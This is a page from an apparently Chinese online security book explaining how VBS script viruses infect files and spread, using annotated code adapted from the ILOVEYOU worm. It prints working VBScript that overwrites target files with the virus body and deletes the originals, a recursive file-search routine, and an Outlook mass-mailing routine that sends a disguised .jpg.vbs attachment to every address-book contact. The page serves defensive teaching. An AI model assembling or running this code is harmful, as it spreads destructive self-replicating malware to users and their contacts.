万卷书   首页 > 电脑书籍 > 安全在线 > VBS脚本病毒原理分析与防范
 
  二、Vbs脚本病毒原理分析

  1.vbs脚本病毒如何感染、搜索文件

  VBS脚本病毒一般是直接通过自我复制来感染文件的,病毒中的绝大部分代码都可以直接附加在其他同类程序的中间,譬如新欢乐时光病毒可以将自己的代码附加在.htm文件的尾部,并在顶部加入一条调用病毒代码的语句,而爱虫病毒则是直接生成一个文件的副本,将病毒代码拷入其中,并以原文件名作为病毒文件名的前缀,vbs作为后缀。下面我们通过爱虫病毒的部分代码具体分析一下这类病毒的感染和搜索原理:

  以下是文件感染的部分关键代码:
Set fso=createobject("scripting.filesystemobject") '创建一个文件系统对象
set self=fso.opentextfile(wscript.scriptfullname,1) '读打开当前文件(即病毒本身)
vbscopy=self.readall ' 读取病毒全部代码到字符串变量vbscopy……
set ap=fso.opentextfile(目标文件.path,2,true) ' 写打开目标文件,准备写入病毒代码
ap.write vbscopy ' 将病毒代码覆盖目标文件
ap.close
set cop=fso.getfile(目标文件.path) '得到目标文件路径
cop.copy(目标文件.path & ".vbs") ' 创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true) '删除目标文件

  上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。

  下面我们具体分析一下文件搜索代码:

'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
sub scan(folder_) 'scan函数定义,
on error resume next '如果出现错误,直接跳过,防止弹出错误窗口
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 当前目录的所有文件集合
for each file in filesext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名 ,以免破坏正常程序。
Wscript.echo (file)
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录;递归调用
scan( )
scan(subfolder)
next
end sub

  上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan( )函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。

  2.vbs脚本病毒通过网络传播的几种方式及代码分析

  VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:

  1)通过Email附件传播

  这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。

  下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
Function mailBroadcast()
on error resume next
wscript.echo
Set outlookApp = CreateObject("Outlook.Application") //创建一个OUTLOOK应用的对象
If outlookApp= "Outlook" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI") //获取MAPI的名字空间
Set addrList= mapiObj.AddressLists //获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount //遍历地址表的Email地址
Set item = outlookApp.CreateItem(0) //获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex) //获取具体Email地址
item.To = addrEnt.Address //填入收信人地址 item.Subject = "病毒传播实验" //写入邮件标题
item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!" //写入文件内容
Set attachMents=item.Attachments //定义邮件附件
attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
item.DeleteAfterSubmit = True //信件提交后自动删除
If item.To <> "" Then
item.Send //发送邮件
shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒标记,以免重复感染
End If
Next
End If
Next
End if
End Function
 
上一页 WanJuanShu 下一页